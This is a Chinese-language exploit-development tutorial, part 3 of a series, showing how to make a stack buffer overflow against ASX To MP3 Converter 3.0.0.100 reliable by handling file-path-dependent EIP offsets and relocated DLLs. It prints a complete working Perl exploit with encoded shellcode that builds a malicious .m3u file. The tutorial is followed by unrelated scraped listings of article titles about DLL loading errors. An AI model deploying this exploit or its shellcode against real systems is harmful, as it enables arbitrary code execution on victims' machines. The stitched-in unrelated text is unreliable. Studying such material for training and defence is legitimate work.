概观

在第2部分中,我们为ASX To MP3 Converter构建了一个基本的栈溢出攻击。正如我在那篇文章中指出的那样,利用本身并不完美。成功的EIP覆盖受m3u文件的文件路径的影响。另外,虽然在选择跳转/调用地址时首选应用程序模块,但我们使用的应用程序DLL是重新分配的,这意味着我们的CALL EBX指令的地址可能会更改,因此不可靠。在这一部分中,我们将仔细研究这些问题以及一些可以改进我们的原始漏洞使其更可靠的方法。

更改EIP偏移量

我在第2部分强调的一件事情是,如果m3u文件是从C:目录的根目录运行的,ASX To MP3 Converter的漏洞利用工作才起作用,因为EIP覆盖的偏移取决于文件路径。如果要验证,请尝试将m3u文件从C:移动到桌面,然后重试调试器中的漏洞。请参阅下面的屏幕截图。

正如您所看到的,EIP现在不会被我们的CALL EBX指令覆盖,而是被我们payload的前面“垃圾”部分覆盖,这部分由A( x41)组成。由于较长的文件路径被合并到有效载荷中,因此它将所有内容都推向右侧,并将EIP更改为'AAAA'。

如果您记得,我们完整的exploit缓冲区看起来像这样:

EIP的偏移量(当m3u文件位于C:的根目录时)为26,121字节。正如我们通过将m3u文件移动到桌面所证明的那样,较长的文件路径会导致EIP覆盖为A。如果文件路径是对偏移量的唯一影响,我们应该能够准确预测新偏移量。让我们为m3u文件选择一个不同的保存位置来证明这一理论。位于我的桌面上的m3u文件的完整路径如下(其中Documents and Settings Administrator Desktop 是较c:多出来的路径长度):

C:Documents and Settings  Administrator  Desktop  asx2mp3.m3u

这条新路径长45个字符,这意味着我们应该调整我们的EIP偏移-45,新的偏移量26076。让我们更新我们的漏洞利用代码,看看它是否有效(只改变你在第2部分中建立的利用漏洞的偏移量)。

基于应用程序的模块

在重新启动的Windows计算机上运行具有更新偏移量的漏洞利用程序会产生以下结果:

EIP显然已被我选择的CALL EBX地址(来自MSA2Mcodec00.dll的0x01C27228)覆盖,但该程序似乎并未将其识别为有效地址。这里出现的问题,因为在我的漏洞利用代码中,我使用了来自重定位应用程序模块(DLL)的地址。

在没有详细介绍重新绑定的情况下,要明白每个模块都有一个指定的基地址,它应该加载在这个地址上(而且编译器通常有一个默认的地址分配给所有的模块)。

如果在加载时发生地址冲突,则操作系统必须重新绑定其中一个模块(从性能角度来看代价非常高)。或者,应用程序开发人员可能会提前重新绑定模块以避免此类冲突。

在我们的例子中,如果MSA2Mcodec00.dll重新绑定,地址空间会发生变化,我们的CALL EBX地址发生变化。不幸的是,这会影响成功利用的可靠性,这个问题比我们的文件路径问题更严重。

在这里我们有两个选择:

1)看看我们是否能找到另一个没有实现重定位的应用程序模块(首选);

2)使用系统模块。

请记住,从第2部分中可以看出,使用系统DLL(相对于应用程序DLL)的缺点是它减少了漏洞在不同版本的Windows上运行的可能性。这就是说,在每台Windows XP机器上运行的漏洞利用程序要比只能在一台机器上运行的漏洞利用程序更好!

我们可以使用mona插件更仔细地检查加载的模块,并通过运行以下命令来查看哪些模块实施了重定位。

!mona find -type instr -s "call ebx"

以下是生成的find.txt文件开头的截图。它显示了找到“call ebx”指令的所有模块,以及与这些模块中的每一个模块相关的属性,包括它们是否实施重定位(请注意“重定位”列)。

请注意,该列中有两个值为“False”(以橙色突出显示)。不幸的是,这两个模块中的所有“call ebx”地址都包含空字节。看起来我们别无选择,只能使用系统模块。我会选择其中一个较大的dll,如shell32,user32,kernel32或ntdll,因为它们可能不太可能在系统服务包之间进行更改。在find.txt文件中向下滚动以查看找到的实际“call ebx”地址。我将选择列出的第一个shell32地址(0x7c9f38f6)。

现在,我将使用SHELL32中新的CALL EBX地址(注意已更新的EIP偏移量)更新漏洞利用脚本,创建m3u文件,并从桌面运行它。

成功!!

更新漏洞利用以支持多个偏移

我们通过选择一个操作系统模块来克服我们的地址重定位问题,并验证了可以根据m3u exploit文件的路径大小来预测偏移量。

下一步是将多个偏移量合并到我们的漏洞利用代码中,以增加从不同位置成功执行的可能性。我们可以通过简单地包含重复偏移模式的缓冲区的垃圾部分(而不是使用A's,使用EIP + EIP + EIP等)来实现此目的。虽然这增加了成功利用的可能性,但由于常见的存储位置(桌面,我的文档等)可能会或可能不符合该模式,所以这是相当随意的。相反,我们可以生成可能的保存位置列表,并将偏移量放在我们的缓冲区中。我们可以手动做到这一点。

最后我们将留下一个如下所示的缓冲区:

JUNK(A's)+ EIP + JUNK(A's)+ EIP + JUNK(As)+ EIP .. + NOPS + SHELLCODE + FILL

这不是非常高效的编码,并且使得添加和删除路径变得繁琐,因此我们利用脚本的强大功能,使其更容易管理。

首先,我们将创建一组可能的路径。我创建了一个有几条可能的路径,尽管还有更多:

为了便于说明,我还包括了手动计算的偏移量(作为注释),通过编写偏移量创建脚本,我们不需要为每个文件路径实际执行此操作。接下来,我们创建一个循环,并使用数组的内容动态构建缓冲区的垃圾+ eip部分。

正如你上面看到的,我们只是循环访问数组,并使用每个文件路径的长度(减去共享的'C:')来策略地放置偏移量。

我们的最终利用看起来像这样:

#!/usr/bin/perl ###################################################################### # Exploit Title: ASX to MP3 Converter 3.0.0.100 (.m3u) - Local BOF # Date: 11-16-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: ASX to MP3 Converter 3.0.0.100 # Software: http://www.mini-stream.net/asx-to-mp3-converter/download/ # Tested On: Windows XP SP3 # Credits: Older versions found to be vulnerable to similar bof # -- http://www.exploit-db.com/exploits/8629/ ###################################################################### my $buffsize = 50000; # sets buffer size for consistent sized payload # the application incorporates the path of the m3u file in the buffer # this can hinder successful execution by changing the offset to eip # to make this more reliable, we'll create a buffer w/ several offsets # to potential file locations (desktop, my music, my playlists, etc) # if the m3u file is placed in any of these locations it should work # if the m3u file is saved in root dir (c:, z:, etc) eip offset = 26121 # we can use that value to calculate other relative offsets based on file path length my @offsets = ( 'C:Documents and SettingsAdministratorMy DocumentsMy MusicMy Playlists', # offset at 26049 'C:Documents and SettingsAll UsersDocumentsMy MusicMy Playlists', # offset at 26056 'C:Documents and SettingsAdministratorMy DocumentsMy Music', # offset at 26062 'C:Documents and SettingsAll UsersDocumentsMy Music', # offset at 26069 'C:Documents and SettingsAdministratorDesktop', # offset at 26076 'C:Documents and SettingsAll UsersDesktop', # offset at 26080 'C:'); # offset at 26121 my $eip = pack('V', 0x7c9f38f6); # call ebp C:WindowsSystem32SHELL32.dll $i = 0;foreach (@offsets) {$curr_offset = 26121 - (length($_)) + 3; # +3 for shared "c:"   $prev_offset = 26121 - (length($offsets[$i-1])) + 3;if ($i eq 0){  # if it's the first offset build the junk buffer from 0  $junk = "x41" x $curr_offset;# append the eip overwrite to the first offset  $offset = $junk.$eip } else {# build a junk buffer relative to the last offset  $junk = "x41" x (($curr_offset - $prev_offset) - 4);# append new junk buffer + eip to the previously constructed offset  $offset = $offset.$junk.$eip;}$i = $i + 1; # increment index counter }my $nops = "x90" x 21400; # offset to shellcode at call ebp # Calc.exe payload [size 227] # msfpayload windows/exec CMD=calc.exe R | # msfencode -e x86/shikata_ga_nai -c 1 -b 'x00x0ax0dxff' my $shell = "xdbxcfxb8x27x17x16x1fxd9x74x24xf4x5fx2bxc9" . "xb1x33x31x47x17x83xefxfcx03x60x04xf4xeax92" . "xc2x71x14x6ax13xe2x9cx8fx22x30xfaxc4x17x84" . "x88x88x9bx6fxdcx38x2fx1dxc9x4fx98xa8x2fx7e" . "x19x1dxf0x2cxd9x3fx8cx2ex0exe0xadxe1x43xe1" . "xeax1fxabxb3xa3x54x1ex24xc7x28xa3x45x07x27" . "x9bx3dx22xf7x68xf4x2dx27xc0x83x66xdfx6axcb" . "x56xdexbfx0fxaaxa9xb4xe4x58x28x1dx35xa0x1b" . "x61x9ax9fx94x6cxe2xd8x12x8fx91x12x61x32xa2" . "xe0x18xe8x27xf5xbax7bx9fxddx3bxafx46x95x37" . "x04x0cxf1x5bx9bxc1x89x67x10xe4x5dxeex62xc3" . "x79xabx31x6axdbx11x97x93x3bxfdx48x36x37xef" . "x9dx40x1ax65x63xc0x20xc0x63xdax2ax62x0cxeb" . "xa1xedx4bxf4x63x4axa3xbex2exfax2cx67xbbxbf" . "x30x98x11x83x4cx1bx90x7bxabx03xd1x7exf7x83" . "x09xf2x68x66x2exa1x89xa3x4dx24x1ax2fxbcxc3" . "x9axcaxc0";my $sploit = $offset.$nops.$shell;my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder my $buffer = $sploit.$fill; # build final buffer # write the exploit buffer to file my $file = "asx2mp3.m3u";open(FILE, ">$file"); print FILE $buffer;close(FILE); print "Exploit file created [" . $file . "]n"; print "Buffer size: " . length($buffer) . "n";

如果您想要显示缓冲区的外观,请在文本编辑器中打开生成的m3u文件,您应该看到下面的偏移量:

即使这个更新的漏洞利用也不完美,因为我们使用了一个用于EIP覆盖的OS DLL以及有限数量的漏洞利用触发位置,但它肯定比我们第2部分的原始版本有所改进。

除了改变受文件路径影响的偏移量之外,遇到具有由启动方式决定的多个偏移量的漏洞并不罕见。以最近发布的针对RealPlayer 16.0.3.51/16.0.2.32的漏洞为例它包含两个偏移量/ EIP覆盖 -

一个用于直接启动漏洞利用率.rmp文件,一个用于在应用程序内打开漏洞。

如果漏洞代码本身看起来有些不同,那是因为它是一个基于SEH的缓冲区溢出,我们将在更多的帖子中讨论这个话题。现在,如果您选择在测试机器上尝试利用漏洞,则可能需要根据您的操作系统进行一些调整。如果您运行的是Windows XP SP3,则可能需要将$ junk2偏移量调整为10515,并根据您拥有的RealPlayer版本,您可能需要切换SEH值。

虽然这些只是一些本地执行的具有更改/多种偏移的攻击的示例,但它们应该提供一些有关此问题在创建漏洞时如何表现出来的信息,以及如何解决该问题。

结论

在过去的两篇文章中,我们构建了一个非常基础的基于栈的缓冲区溢出攻击,并克服了由于漏洞利用文件路径的影响而改变EIP偏移量,并改变了由重定位应用程序DLL导致的模块寻址所带来的一些小问题。在下一篇文章中,我们将看看如何在不能使用简单的CALL / JMP指令到达shellcode的情况下使用跳转代码。

文章来源:看雪社区

原文链接:https://bbs.pediy.com/thread-225831.htm

模块dll加载失败请确保该二进制_Windows漏洞利用开发 – 第3部分:偏移更改和重定位模块...相关推荐

  1. 64位操作系统注册ocx控件失败,提示:模块加载失败请确保该二进制存储在指定路径中。

    64位操作系统注册ocx控件失败,提示:模块加载失败请确保该二进制存储在指定路径中 我的解决方案: 1.找到位于windows下的syswow64文件夹下的cmd 2.并拷贝需注册的ocx文件到sys ...

  2. 模块加载失败请确保该二进制存储在指定路径中

    [阅读文章申明] 作者只是想把自己实践中的经验分享给大家,如果文章里面有在大神面前显的很低级的知识点 那么大神你可以不看,请不要发一些"浪费流量""辣鸡"之类嘲 ...

  3. ntleas加载失败_模块加载失败,请确保二进制存储在指定的路径中,或者调试它以检查该二进制或相关的...

    展开全部 开始复-运行-msconfig-启动-把制加载项.dll的那个勾勾2113去掉. 重启5261电脑,通常到这就可4102以了. 1.这种原因是1653因为,杀毒软件删除或隔离了相关dll使用 ...

  4. regsvr32提示模块加载失败 请确保二进制

    关于注册COM组件失败的问题,困扰了很久,花点时间研究一下, 找了很多文章,发现都解决不了问题 https://www.cnblogs.com/chucklu/p/4576867.html 以前急用的 ...

  5. 模块加载失败 请确保该二进制文件在指定的路径中 找不到指定的模块(转载)

    转载:http://blog.csdn.net/u011677067/article/details/52431043 转载:http://blog.csdn.net/matitie2012/arti ...

  6. php5 dm.dll,win10模块dll加载失败二进制怎么解决?

    首先使用[Win+R],打开运行窗口,输入"Powershell",并回车:然后在打开的Powershell管理器中,输入"Get-AppXPackage -AllUse ...

  7. 模块“XXX.dll”加载失败

    具体问题:模块"XXX.dll"加载失败 请确保该二进制存储在指定的路径中,或者调试它以检查该二进制或相关的.DLL文件是否有问题  找不到指定的模块. 1.在安装C++软件的时候 ...

  8. initpki.dll加载失败 找不到指定的模块的解决办法

    有用户在更新Win10系统时,收到提示"模块'initpki.dll'加载失败.请确保该二进制存储在指定的路径中,或者调试它以检查该二进制或相关的DLL文件是否有问题.找不到指定的程序.&q ...

  9. 计算机中丢失swr.dll,win10系统提示模块initpki.dll加载失败如何解决

    有不少用户在使用电脑的过程中,发现出现了模块initpki.dll加载失败的提示,遇到这样的问题该怎么办呢,本教程就给大家讲解一下 1.打开搜索,输入:powershell ,在windows pow ...

最新文章

  1. Java 反射将配置文件数据加载到对象属性中
  2. Spring Boot Actuator
  3. 【转】补零与离散傅里叶变换的分辨率
  4. windows下 mysql 转移data目录
  5. python基础(part4)--语句
  6. c语言自动计算时间,C语言 · 计算时间
  7. 指向函数的指针 - C语言
  8. mysql中时间类型datetime,timestamp与int的区别
  9. Android AnimatedVectorDrawable
  10. VTD Trigger
  11. 有限差分法与有限单元法的区别
  12. PHP中百度地图和高德地图经纬度互相转换
  13. 黑苹果日记六(双系统引导)
  14. nopCommerce 3.9 大波浪系列 之 汉化-Roxy Fileman
  15. 光学三原色与色的三原色
  16. 甘超波:NLP五步觉察法
  17. ZZNUOJ_C语言1083:数值统计(多实例测试)(完整代码)
  18. debian中直接使用yed.jar
  19. Vue 2.0 开发聊天程序(二)真正的开始
  20. javaEE项目--琪琪线上餐厅系统

热门文章

  1. Castle.Aop.Autofac
  2. 分享一篇SCCM软件更新的故障排除
  3. 2012年云计算领域将发生6件大事
  4. Solar中跨控制器引用视图!
  5. 微软发布Silverlight 4新版并更新Silverlight Tools和SDK
  6. 华为机试HJ85:最长回文子串
  7. linux 影院 ftp客户端20端口号,Linux下的ftp客户端说明文档
  8. android访问服务器405,android – HTTP状态405 – 不允许的方法(jax-rs服务)
  9. linux php源码安装mysql_linux源码安装mysql5.7
  10. python读取txt、csv以及xml文件